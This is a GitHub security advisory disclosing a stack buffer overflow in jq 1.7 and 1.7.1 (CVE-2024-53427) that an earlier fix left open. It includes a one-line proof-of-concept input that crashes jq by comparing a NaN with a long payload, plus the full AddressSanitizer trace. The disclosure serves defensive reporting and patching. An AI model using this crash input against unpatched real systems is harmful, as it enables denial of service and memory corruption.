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Again, stack-buffer-overflow when comparing nan with payload

High
itchyny published GHSA-x6c3-qv5r-7q22 Mar 28, 2025

Package

jq (jq)

Affected versions

1.7, 1.7.1

Patched versions

None

Description

https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64953

CVE-2023-50268 was not fully fixed. Comparing a nan with at least 10 decimial digits of payload (NAN1000000000 and above) still triggers a stack buffer overflow.

$ ./jq '8 != .' <<< 'NAN1000000000'
=================================================================
==2453849==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f0d88993870 at pc 0x55656ccc6eb9 bp 0x7ffeaa748a30 sp 0x7ffeaa748a20
WRITE of size 2 at 0x7f0d88993870 thread T0
    #0 0x55656ccc6eb8 in decNumberCopy src/decNumber/decNumber.c:3375
    #1 0x55656ccc79aa in decNaNs src/decNumber/decNumber.c:7706
    #2 0x55656ccd01ba in decCompareOp src/decNumber/decNumber.c:6085
    #3 0x55656cce4ef6 in decNumberCompare src/decNumber/decNumber.c:858
    #4 0x55656cc71a63 in jvp_number_cmp src/jv.c:748
    #5 0x55656cc7e93a in jvp_number_equal src/jv.c:773
    #6 0x55656cc7e93a in jv_equal src/jv.c:1917
    #7 0x55656cd1e5d5 in binop_notequal src/builtin.c:438
    #8 0x55656cd1e5d5 in f_notequal src/builtin.c:55
    #9 0x55656cc637b3 in jq_next src/execute.c:918
    #10 0x55656cc590a9 in process src/main.c:185
    #11 0x55656cc55772 in main src/main.c:724
    #12 0x7f0d8b245ccf  (/usr/lib/libc.so.6+0x27ccf) (BuildId: 8bfe03f6bf9b6a6e2591babd0bbc266837d8f658)
    #13 0x7f0d8b245d89 in __libc_start_main (/usr/lib/libc.so.6+0x27d89) (BuildId: 8bfe03f6bf9b6a6e2591babd0bbc266837d8f658)
    #14 0x55656cc58a74 in _start (/home/emanuele6/.source_code/jq/jq+0x14ca74) (BuildId: c6ebf62a567061fef19663a78d55e9f373c2232b)

Address 0x7f0d88993870 is located in stack of thread T0 at offset 112 in frame
    #0 0x55656cc7183f in jvp_number_cmp src/jv.c:737

  This frame has 3 object(s):
    [32, 48) 'a' (line 737)
    [64, 80) 'b' (line 737)
    [96, 112) 'res' (line 746) <== Memory access at offset 112 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow src/decNumber/decNumber.c:3375 in decNumberCopy
Shadow bytes around the buggy address:
  0x7f0d88993580: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7f0d88993600: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7f0d88993680: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 00 00 00 00
  0x7f0d88993700: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7f0d88993780: f1 f1 f1 f1 00 00 f2 f2 00 00 f3 f3 00 00 00 00
=>0x7f0d88993800: f1 f1 f1 f1 00 00 f2 f2 00 00 f2 f2 00 00[f3]f3
  0x7f0d88993880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f0d88993900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f0d88993980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f0d88993a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f0d88993a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2453849==ABORTING

Severity

High

CVE ID

CVE-2024-53427

Weaknesses

Stack-based Buffer Overflow

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Learn more on MITRE.